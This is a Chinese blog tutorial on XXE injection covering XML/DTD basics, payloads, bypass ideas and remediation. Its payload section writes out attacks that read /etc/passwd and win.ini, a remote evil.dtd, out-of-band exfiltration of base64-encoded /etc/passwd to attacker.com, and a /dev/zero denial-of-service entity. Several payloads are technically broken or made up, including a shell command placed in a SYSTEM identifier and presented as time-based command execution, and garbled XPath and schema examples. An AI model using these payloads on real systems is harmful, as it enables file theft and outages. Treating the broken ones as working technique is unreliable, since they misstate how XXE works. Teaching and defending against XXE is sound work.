当前位置: 首页 > news >正文

XXE-XML实体注入漏洞

目录

1.xml基础

1.1什么是xml

1.2xml文档结构

1.3  什么是DTD

1.4 什么是实体

1.5 什么是外部实体

2.xxe漏洞

2.1xxe漏洞基本介绍

2.2xxe漏洞的危害

经典漏洞案例分析

3.xxe漏洞挖掘和利用

3.1. 识别潜在的XML入口

3.2. 检查XML处理逻辑

3.3. 构造试探Payload

常见的一般payload

 xxe盲注

xxe报错注入

xxe漏洞实现dos攻击

4.xxe的bypass

5.xxe漏洞修复

留言


1.xml基础

1.1什么是xml

XML全称“可扩展标记语言”(extensible markup language),XML是一种用于存储和传输数据的语言。与HTML一样,XML使用标签和数据的树状结构。但不同的是,XML不使用预定义标记,因此可以为标记指定描述数据的名称。

1.2xml文档结构

        xml声明+DTD文档类型定义+文档元素

        

       其中<note>是根元素,所有XML文档必须包含一个根元素,根元素是所有其他元素的父元素。

1.3  什么是DTD

        DTD(document type definition)文档类型定义用于定义XML文档的结构,它作为xml文件的         一部分位于XML声明和文档元素之间,比如下面DTD

        

        它就定义了 XML 的根元素必须是message,根元素下面有一些子元素,所以 XML必须像下           面这么写:

        

        其中,DTD需要在!DOCTYPE注释中定义根元素,而后在中括号的[]内使用!ELEMENT注         释定义各元素特征。

1.4 什么是实体

        再看下面一个DTD:

        

        很容易理解,它规定了xml文件的根元素是foo,但ANY说明接受任何元素。重点是!ENTITY,         这就是我们要提到的实体,实体本质是定义了一个变量,变量名xxe,值为“test”,后面在         XML 中通过 & 符号进行引用,所以根据DTD我们写出下面的xml文件

        

        因为ANY的属性,元素我们可以随意命令,但user值通过&xxe,实际值为test

1.5 什么是外部实体

        知道了什么是实体,再说说其实实体分为两种,内部实体和外部实体,上面的例子就是内部            实体。XML外部实体是一种自定义实体,定义位于声明它们的DTD之外,声明使用SYSTEM           关键字,比如加载实体值的URL:

        

        这里URL可以使用file://协议,因此可以从文件加载外部实体。例如:

        

        这也是产生XXE漏洞的原因。

2.xxe漏洞

2.1xxe漏洞基本介绍

        xml外部实体注入,全称为XML external entity injection,某些应用程序允许XML格式的数据           输入和解析,可以通过引入外部实体的方式进行攻击。

2.2xxe漏洞的危害

  1. 本地文件读取: 攻击者可以通过XXE漏洞读取服务器上的任意文件,包括但不限于配置文件、日志文件、数据库凭证文件等敏感信息。

  2. 远程文件包含: 如果服务器允许解析外部实体并支持DNS或HTTP实体,攻击者可以利用XXE漏洞从远程服务器下载数据,甚至发起DoS攻击。

  3. 内部网络探测: 通过构造特殊的实体,攻击者可以利用XXE漏洞执行内网端口扫描,收集内网服务器信息。

  4. 拒绝服务攻击(DoS): XXE攻击可能导致服务器消耗大量资源,例如通过递归引用外部实体或发起大量的网络请求,从而引发拒绝服务攻击。

  5. SOAP服务攻击: 在处理SOAP请求的服务中,如果未正确处理XML实体,攻击者可能利用XXE漏洞影响服务的稳定性和安全性。

  6. 命令执行: 在极少数情况下,如果服务器配置极其不当,攻击者可能通过XXE漏洞执行系统命令,进一步扩大攻击范围。

  7. 绕过防火墙和身份验证: 通过将攻击负载封装在XML文档中,并利用服务器的信任链,攻击者可能绕过防火墙规则和身份验证机制。

经典漏洞案例分析

推文:微信支付sdk被曝xxe漏洞,漏洞原理分析-CSDN博客

3.xxe漏洞挖掘和利用

3.1. 识别潜在的XML入口

寻找应用中所有可能处理XML输入的位置,包括但不限于:

  • API接口
  • SOAP/WSDL服务
  • XML-RPC调用
  • XML解析器调用

3.2. 检查XML处理逻辑

分析应用程序如何处理XML数据,特别是那些可能包含DTD(Document Type Definition)或Entity声明的XML。查看源代码或使用抓包工具(如Burp Suite、Wireshark)捕获HTTP请求和响应,查找XML解析相关的代码或配置。

3.3. 构造试探Payload


常见的一般payload

3.3.1.使用外部实体进行文件读取。
条件:

  1. 可以引用外部实体
  2. 服务器要回显结果
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd" > ]>
<foo>&xxe;</foo>#如果是使用windows系统,则文件名为 file:///c:/windows/win.ini

3.3.2.还可以使用外部参数实体+外部实体进行文件读取。
        攻击者发受害者

<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY % xxe SYSTEM "http://xxxx/evil.dtd">
%xxe;]>
<foo>&evil;</foo>

攻击者远程文件evil.dtd

#此处为evil.dtd文件内容<!ENTITY evil SYSTEM “file:///c:/windows/win.ini" >

 xxe盲注

盲注是一种利用XXE漏洞进行信息收集的技术,当服务器在处理XML数据时,因配置问题允许外部实体的解析,但并不会在响应中直接返回外部实体包含的内容时,就需要使用盲注技术来获取信息。

在XXE盲注中,攻击者不能直接看到服务器返回的错误消息或实体包含的数据。因此,他们需要通过构造特殊的XML Payload,利用服务器对外部实体的解析行为来间接获取信息。通常的做法是:

1.布尔型盲注

构造Payload,使其尝试访问一个已知存在或不存在的文件或网络资源,通过服务器响应时间的差异、HTTP状态码的改变或其他可观察的变化来判断请求是否成功。

例如,判断文件是否存在:

<!DOCTYPE test [<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % true "<!ENTITY xxe SYSTEM 'file:///dev/null'>">%true;
]>
<root>&xxe;</root>

2. 基于时间的盲注(Time-Based Blind XXE)

判断系统命令执行耗时:

<!DOCTYPE test [<!ENTITY % file SYSTEM "java -classpath ../../../../../../bin/commons-httpclient-3.1.jar org.apache.commons.httpclient.HttpClient http://attacker.com/ & sleep 5"><!ENTITY % true "<!ENTITY xxe SYSTEM '%file;'>">%true;
]>
<root>&xxe;</root>#如果服务器响应时间增加明显,则可能执行了耗时的系统命令。
  • <!ENTITY % file SYSTEM "...">:定义了一个名为file的外部实体,它的值是一个系统命令。
  • java -classpath ../../../../../../bin/commons-httpclient-3.1.jar org.apache.commons.httpclient.HttpClient http://attacker.com/:这是一个Java命令行指令,它使用Commons HttpClient库去向攻击者控制的服务器http://attacker.com/发送一个HTTP请求。这意味着当服务器解析并执行此实体时,它会触发一个网络请求到攻击者的服务器。
  • sleep 5:这是一个Linux命令,会让进程暂停5秒。这个部分通常用于基于时间的盲注,攻击者可以通过测量服务器响应延迟来判断命令是否被执行。

3. 带外通信(Out-of-Band, OOB)利用

尝试将数据发送到攻击者控制的服务器:

<!DOCTYPE test [<!ENTITY % file SYSTEM "http://attacker.com/?data=<data_to_send>">
]>
<root>&file;</root>#<data_to_send>会被替换为实际要发送的数据,比如从受害服务器中获取的敏感信息。

攻击者在其自己的服务器上监听,如果接收到请求,则意味着服务器可能受到XXE攻击并执行了外部实体。

xxe报错注入

1.文件路径泄露

攻击者可能构造一个导致服务器尝试打开不存在文件的实体,从而在错误消息中包含文件路径或其他上下文信息。这种情况下,报错注入的Payload可能是:

<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///non_existent_path">
]>
<root>&xxe;</root>

当服务器尝试解析这个XML并执行实体xxe时,由于指定的文件路径不存在,服务器可能会返回一个包含详细错误信息的HTTP响应。攻击者可以根据这些错误信息,逐步揭示服务器的内部结构。


2.DTD(Document Type Definition)错误利用: 利用DTD错误,如无限递归或未知实体引用,迫使XML解析器崩溃或返回详细的错误消息,其中可能包含服务器的环境信息。

<!DOCTYPE test [<!ENTITY % evil SYSTEM "http://attacker.com/evil.dtd"><!ENTITY % inner "<!ENTITY % injected SYSTEM 'file:///etc/passwd'>">%evil;%inner;
]>
<root></root>

 在上述示例中,攻击者首先定义了一个实体%evil,指向恶意DTD文件,然后定义了实体%inner,尝试读取服务器上的/etc/passwd文件。如果服务器允许DTD继承并解析了恶意DTD文件,可能会执行%injected实体,从而导致文件读取和错误泄漏。


3.XPath注入与错误利用: 如果服务器使用了可配置的XPath查询,并且在处理XML时对查询结果进行了错误处理,攻击者可以通过构造特殊的XPath表达式导致错误,从而泄露信息。

<?xml version="1.0"?>
<!DOCTYPE poc [<!ENTITY % ext SYSTEM "file:///etc/passwd"><!ENTITY % xpath '<!ENTITY &#x25; xp "<!ENTITY &#x25; error SYSTEM 'file:///etc/passwd'>">>%xpath;%xp;
]>
<x:xmp xmlns:x="http://www.w3.org/XML/1998/namespace"><query><x:select>/root/*[name()='item' and value='bad_value' or substring-after(value,'error')=%error;]</x:select></query>
</x:xmp>

此例中,攻击者尝试结合XPath注入和XXE来触发错误。尽管这通常不会导致错误信息的直接泄露,但可能会利用XPath的逻辑导致包含恶意实体的查询被执行。


4.Schema Validation Exploitation: 当服务器在处理XML时使用了XML Schema验证,并且对验证失败的错误处理不当,攻击者可以构造恶意的XML Schema实体,导致验证失败时泄露信息。

<?xml version="1.0"?>
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"><xs:import schemaLocation="http://attacker.com/malicious.xsd"/><xs:element name="root"><!-- 正常定义元素 --></xs:element>
</xs:schema>
<root></root>

此例中,攻击者尝试导入一个恶意的XML Schema文件,该文件可能包含引起错误的构造,导致服务器在验证XML文档时触发错误。


5.Out-of-Band(OOB)错误利用: 通过触发服务器向攻击者控制的服务器发送请求并在请求中包含错误信息,攻击者可以通过监控他们的服务器日志来收集泄露的信息。

<!DOCTYPE test [<!ENTITY % file SYSTEM "http://attacker.com/error.xml"><!ENTITY % oob SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd"><!ENTITY % sendError "<!ENTITY &#x25; result SYSTEM 'http://attacker.com/receive?data=%oob;'>">%sendError;%result;
]>
<root>&file;</root>

在此示例中,攻击者首先尝试读取本地文件/etc/passwd并Base64编码,然后将编码后的数据通过OOB发送到攻击者控制的服务器,如果处理不当,可能会在OOB请求中附带错误信息。


xxe漏洞实现dos攻击

XXE(XML External Entity Injection)漏洞实现DoS(Denial of Service,拒绝服务)攻击的方法主要依赖于利用XML解析器对外部实体的处理机制,通过构造特定的XML Payload,使得服务器在解析XML文档时陷入循环、消耗大量资源或者发起大量网络请求,从而达到拒绝服务的目的。

<!DOCTYPE root [
<!ENTITY % load SYSTEM "file:///dev/zero">
<!ENTITY % endless "&%load;&endless;">
]>
<root>&endless;</root>

在这个例子中,攻击者定义了一个外部实体%load,它尝试从/dev/zero设备文件(一个无穷尽的空字节流)加载数据。接着,定义了一个递归实体%endless,它引用自身,形成无限递归。

当服务器尝试解析这段XML时,会不断地尝试读取/dev/zero,导致内存溢出或CPU使用率飙升,最终导致服务不可用。同样的,攻击者还可以构造类似的Payload,让它不断发起网络请求到一个繁忙或者慢速的资源,占用服务器的网络资源,从而实现DoS攻击。


4.xxe的bypass

XXE(XML External Entity Injection)漏洞的绕过通常是指攻击者在面对某些安全措施时,通过创新或巧妙的方法依然能够利用XXE漏洞。这是因为有些防御措施并未彻底解决XXE的根本问题,或者是新出现的漏洞利用技术能够规避现有的防御措施。以下是一些XXE绕过的常见技术:

  1. 禁用实体加载的绕过

    • 有时服务器会禁用XML解析器对外部实体的加载,但可能仍允许内部实体或DTD的解析。攻击者可能通过构造内部实体绕过这一限制,如利用内部实体的递归来消耗服务器资源,实现DoS攻击。
  2. 禁用DTD的绕过

    • 有些服务器禁止了DTD解析,但仍可能允许XML模式(XSD)或架构的解析。攻击者可能利用XML模式中的漏洞来实现XXE攻击。
  3. 带外(OOB, Out-of-Band)信息泄露

    • 当服务器不返回实体内容时,攻击者可以构造实体指向攻击者控制的服务器,利用服务器端的网络行为(如发起请求)来进行信息泄露,而不依赖于服务器的直接响应。
  4. XPath注入

    • 如果服务器使用了XPath查询,并且这些查询基于用户输入,攻击者可能结合XXE和XPath注入,构造恶意查询来获取敏感信息或执行系统命令。
  5. 滥用特性

    • 攻击者可能利用XML解析器的其他特性,如php://input伪协议、XML解析器的解析错误等,来执行攻击。
  6. 利用旧版或有已知漏洞的XML解析器

    • 服务器可能仍在使用老旧版本的XML解析器,这些版本可能包含已知的XXE漏洞,而服务器管理员未能及时更新。

bypass具体推文:

https://www.cnblogs.com/zhengna/p/15740341.html

5.xxe漏洞修复

修复XXE(XML External Entity Injection)漏洞通常涉及多种策略,以下是一些关键的修复措施:

 1. 禁用外部实体解析:
        对于使用PHP处理XML的场景,可以通过libxml_disable_entity_loader()函数禁用外部实体加载器,例如:
 

#php
libxml_disable_entity_loader(true);

    对于其他语言和XML解析器,查阅对应的文档以找到禁用外部实体加载的方法。

2.过滤XML内容:

    在处理XML之前,对XML数据进行严格的净化和过滤,移除或替换掉潜在的实体声明、DOCTYPE定义等内容。
    对于用户上传的XML数据,可以考虑使用安全的XML解析器,只允许解析预定义的、安全的XML结构。

3.Web应用防火墙(WAF)配置:

    设置WAF规则以阻止或重写包含可疑实体声明、DOCTYPE定义或其他可能触发XXE攻击的XML请求。
    可以通过正则表达式或专门的安全策略来检测并阻止含有XXE攻击特征的XML内容。

4.应用程序层的防御:

    在应用程序代码层面,避免直接将用户提供的XML数据传递给XML解析器,而是先进行清理或转换。
    对于允许用户上传XML的场景,使用白名单策略,仅允许符合特定结构和内容规则的XML数据。

5.服务器配置与升级:

    更新XML解析器到最新版本,很多较新的版本都已经默认关闭了外部实体加载,或者提供了更为安全的配置选项。
    严格配置服务器,禁止解析来自不可信来源的DTD文件。

留言

祝各位学习顺利!!!

相关文章:

XXE-XML实体注入漏洞

目录 1.xml基础 1.1什么是xml 1.2xml文档结构 1.3 什么是DTD 1.4 什么是实体 1.5 什么是外部实体 2.xxe漏洞 2.1xxe漏洞基本介绍 2.2xxe漏洞的危害 经典漏洞案例分析 3.xxe漏洞挖掘和利用 3.1. 识别潜在的XML入口 3.2. 检查XML处理逻辑 3.3. 构造试探Payload 常…...

数据结构从入门到精通——栈

栈 前言一、栈1.1栈的概念及结构1.2栈的实现1.3栈的面试题 二、栈的具体实现代码栈的初始化栈的销毁入栈出栈返回栈顶元素返回栈中的元素个数检测是否为空Stack.hStack.ctest.c 前言 栈&#xff0c;作为一种后进先出&#xff08;LIFO&#xff09;的数据结构&#xff0c;在计算…...

webhook详解

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 webhook简介 在当今高度连接的网络世界中,没有什么可以孤立地发挥最佳作用。完成一项任务(几乎)总是需要多个实体的参与。电子商务应用程序需要与支付系统通信,支付…...

用 ChatGPT 帮自己修英文简历 — UI/UX 设计师篇

用 ChatGPT 帮自己修英文简历 — UI/UX 设计师篇 之所以能写这篇文章&#xff0c;主要是我本身是 AI 工具的重度使用者&#xff0c;在工作上目前大量依赖 GitHub Copilot 与 ChatGPT 等工具&#xff0c;所以算是有一些心得可以分享。我自己觉得要能发挥这类工具最大的效用&…...

2402. 2-SAT 问题(tarjan,2-SAT模板题)

活动 - AcWing 给定 n 个还未赋值的布尔变量 x1∼xn。 现在有 m 个条件&#xff0c;每个条件的形式为 “xi 为 0/1 或 xj 为 0/1 至少有一项成立”&#xff0c;例如 “x1 为 1 或 x3 为 0”、“x8 为 0 或 x4 为 0” 等。 现在&#xff0c;请你对这 n 个布尔变量进行赋值&am…...

基于java+springboot+vue实现的宠物健康咨询系统(文末源码+Lw)23-206

摘 要 本宠物健康咨询系统分为管理员还有用户两个权限&#xff0c;管理员可以管理用户的基本信息内容&#xff0c;可以管理公告信息以及宠物健康知识信息&#xff0c;能够与用户进行相互交流等操作&#xff0c;用户可以查看宠物健康知识信息&#xff0c;可以查看公告以及查看…...

品牌如何玩转饥饿营销?媒介盒子分享

饥饿营销是许多品牌都会用的策略&#xff0c;从“限定发售”、“先到先得”、“季节限定”、“专属VIP”等都属于饥饿营销的范畴&#xff0c;为什么饥饿营销屡试不爽&#xff0c;原因就在于人们面对同等的收益和损失时&#xff0c;损失会令他们更加难以接受。今天媒介盒子就来和…...

Vue3:ref和reactive实现响应式数据

一、情景说明 在Vue2中&#xff0c;我们已经知道数据的响应式&#xff0c;是什么含义 就是&#xff0c;在data块中&#xff0c;定义的变量&#xff0c;在页面中引用后 任何地方修改了该变量&#xff0c;页面中引用的变量会立即显示最新数值。 这块&#xff0c;我们学习了 插值…...

二维码门楼牌管理系统应用场景:商业与零售业发展的助推器

文章目录 前言一、二维码门楼牌管理系统的基本功能二、商业和零售业中的应用场景三、二维码门楼牌管理系统的优势分析四、结论 前言 在数字化时代的浪潮中&#xff0c;二维码门楼牌管理系统凭借其独特的优势&#xff0c;正在逐步成为商业和零售业发展的新宠。它不仅能够为商家…...

【Linux进阶之路】网络 —— “?“ (下)

文章目录 前言一、概念铺垫1.TCP2.全双工 二、网络版本计算器1. 原理简要2. 实现框架&&代码2.1 封装socket2.2 客户端与服务端2.3 封装与解包2.4 请求与响应2.5 对数据进行处理2.6 主程序逻辑 3.Json的简单使用 总结尾序 前言 在上文我们学习使用套接字的相关接口进行了…...

【AIGC】Stable Diffusion的建模思想、训练预测方式快速

在这篇博客中&#xff0c;将会用机器学习入门级描述&#xff0c;来介绍Stable Diffusion的关键原理。目前&#xff0c;网络上的使用教程非常多&#xff0c;本篇中不会介绍如何部署、使用或者微调SD模型。也会尽量精简语言&#xff0c;无公式推导&#xff0c;旨在理解思想。让有…...

JVM(类加载机制)

类加载就是 .class 文件, 从文件(硬盘) 被加载到内存(元数据区)中的过程 类加载的过程 加载: 找 .class 文件的过程, 打开文件, 读文件, 把文件读到内存中 验证: 检查 .class 文件的格式是否正确 .class 是一个二进制文件, 其格式有严格的说明 准备: 给类对象分配内存空间 (先在…...

C++ 实战项目之 Boost 搜索引擎

项目地址&#xff1a;https://gitee.com/Vertas/boost-searcher-project 1. 项目背景 日常生活中我们使用过很多搜索引擎&#xff0c;比如百度&#xff0c;搜狗&#xff0c;360搜索等。我们今天是要实现一个像百度这样的搜索引擎嘛&#xff1f;那是不可能的&#xff0c;因为像…...

部署LVS+Keepalived高可用群集(抢占模式,非抢占模式,延迟模式)

目录 一、LVSKeepalived高可用群集 1、实验环境 2、 主和备keepalived的配置 2.1 yum安装ipvsadm和keepalived工具 2.2 添加ip_vs模块并开启ipvsadm 2.3 修改keepalived的配置文件 2.4 调整proc响应参数&#xff0c;关闭linux内核的重定向参数响应 2.5 将主服务器的kee…...

性别和年龄的视频实时监测项目

注意&#xff1a;本文引用自专业人工智能社区Venus AI 更多AI知识请参考原站 &#xff08;[www.aideeplearning.cn]&#xff09; 性别和年龄检测 Python 项目 首先介绍性别和年龄检测的高级Python项目中使用的专业术语 什么是计算机视觉&#xff1f; 计算机视觉是使计算机能…...

【Spring面试题】

目录 前言 1.Spring框架中的单例bean是线程安全的吗? 2.什么是AOP? 3.你们项目中有没有使用到AOP&#xff1f; 4.Spring中的事务是如何实现的&#xff1f; 5.Spring中事务失效的场景有哪些&#xff1f; 6.Spring的bean的生命周期。 7.Spring中的循环引用 8.构造方法…...

打车代驾小程序开发 醉酒不用怕一键找代驾

近年来&#xff0c;随着我国私家车市场的不断扩大&#xff0c;驾驶员的安全驾驶意识不断提高&#xff0c;以及交通法规对酒后驾驶的严格把握&#xff0c;代驾市场的潜力也在迸发。代驾小程序开发平台成为了代驾人不可或缺的线上接单平台。那么代驾小程序开发需要实现哪些功能呢…...

蓝桥集训之统计子矩阵

统计子矩阵 核心思想&#xff1a;矩阵前缀和 双指针 用i和j双指针 遍历所有子矩阵的列用s和t双指针 遍历所有子矩阵的行求其子矩阵的和 若>k 将s向下移动 矩阵和必定减小(元素个数减少)直到满足<k 因为列一定 行数即为方案数(从t行往上数到s行 共t-s1个区间[t,t][t-1,t]…...

架构师十项全能 你会几个?

架构设计导论 架构师核心能力 架构设计原则 架构设计模式 架构设计核心维度 架构图绘制 企业架构设计 分布式架构理论 微服务架构设计 响应式架构设计 架构设计评估 单元化架构设计 服务网络架构设计 DDD领域驱动设计 技术选型 服务治理设计 安全架构设计 云架构设计 数据库架构…...

数据库(mysql)-新手笔记(主外键,视图)

主外键 主键(唯一性,非空性) 主键是数据库表中的一个或多个字段&#xff0c;其值唯一标识表中的每一行/记录。 唯一性: 主键字段中的每个值都必须是唯一的&#xff0c;不能有两个或更多的记录具有相同的主键值 非空性&#xff1a;主键字段不能包含NULL值。 外键(引用完整 …...

西门子PLC的交互界面怎样设计?

西门子PLC的交互界面设计集中于提供一个直观、多功能且用户友好的环境&#xff0c;旨在使工程师和技术人员能够有效地进行编程、监控和维护。下面是一些设计西门子PLC交互界面时的关键考虑因素&#xff1a; 1. **图形化编程环境**&#xff1a;设计时&#xff0c;重点在于提供直…...

备份 ChatGPT 的聊天纪录

备份 ChatGPT 的聊天纪录 ChatGPT 在前阵子发生了不少次对话纪录消失的情况&#xff0c;让许多用户觉得困扰不已&#xff0c;也担心自己想留存的聊天记录消失不见。 好消息是&#xff0c;OpenAI 在 2023 年 4 月 11 日推出了 ChatGPT 聊天记录备份功能&#xff0c;无论是免费…...

支持向量机 SVM | 线性可分:软间隔模型

目录 一. 软间隔模型1. 松弛因子的解释小节 2. SVM软间隔模型总结 线性可分SVM中&#xff0c;若想找到分类的超平面&#xff0c;数据必须是线性可分的&#xff1b;但在实际情况中&#xff0c;线性数据集存在少量的异常点&#xff0c;导致SVM无法对数据集线性划分 也就是说&…...

基于Java的生活废品回收系统(Vue.js+SpringBoot)

目录 一、摘要1.1 项目介绍1.2 项目录屏 二、研究内容三、界面展示3.1 登录注册3.2 资源类型&资源品类模块3.3 回收机构模块3.4 资源求购/出售/交易单模块3.5 客服咨询模块 四、免责说明 一、摘要 1.1 项目介绍 生活废品回收系统是可持续发展的解决方案&#xff0c;旨在鼓…...

Linux:好用的Linux指令

进程的Linux指令 1.查看进程信息 ​​​​ps ajx | head -1 && ps ajx | grep 进程名创建一个进程后输入上述代码&#xff0c;会打印进程信息&#xff0c;当我们在code.exe中写入打印pid&#xff0c;ppid&#xff0c;这里也和进程信息一致。 while :; do ps ajx | he…...

Python Tkinter GUI 基本概念

归纳编程学习的感悟&#xff0c; 记录奋斗路上的点滴&#xff0c; 希望能帮到一样刻苦的你&#xff01; 如有不足欢迎指正&#xff01; 共同学习交流&#xff01; &#x1f30e;欢迎各位→点赞 &#x1f44d; 收藏⭐ 留言​&#x1f4dd;如果停止&#xff0c;就是低谷&#xf…...

Python实习生(自动化测试脚本开发) - 面经 - TCL新技术有限公司

JD&#xff1a; 招聘流程&#xff1a; 2024.1.3 Boss直聘 沟通 2024.1.4 约面 2024.1.6 上午面试 面试流程&#xff1a; 上来第一步&#xff0c;直接问Python基础语法&#xff0c;讲一下基础的数据类型 就记得元组和字典 分别具体说一下元组和字典 流程控制语句有哪些&…...

遥遥领先!基于transformer变体的时间序列预测新SOTA!

目前&#xff0c;以CNN、RNN和 Transformer 模型为代表的深度学习算法已经超越了传统机器学习算法&#xff0c;成为了时间序列预测领域一个新的研究趋向。这其中&#xff0c;基于Transformer架构的模型在时间序列预测中取得了丰硕的成果。 Transformer模型因其强大的序列建模能…...

Java实现从本地读取CSV文件数据

一、前言 最近项目中需要实现这样一个功能&#xff0c;就是从本地读取CSV文件&#xff0c;并以指定行作为标题行&#xff0c;指定行开始作为数据读取行&#xff0c;读取数据并返回给前端&#xff0c;下面具体说下是如何通过java实现。 二、如何实现&#xff1f; 1.引入相关mav…...

数据结构(一)——概述

一、绪论 1.1数据结构的基本概念 数据&#xff1a;用来描述客观事物的数、计算机中是字符及所有能输入并被程序识别和处理的符号的集合。 数据元素&#xff1a;数据的基本单位&#xff0c;一个数据元素可由若干数据项组成。 数据结构&#xff1a;指相互之间存在一种或多种特…...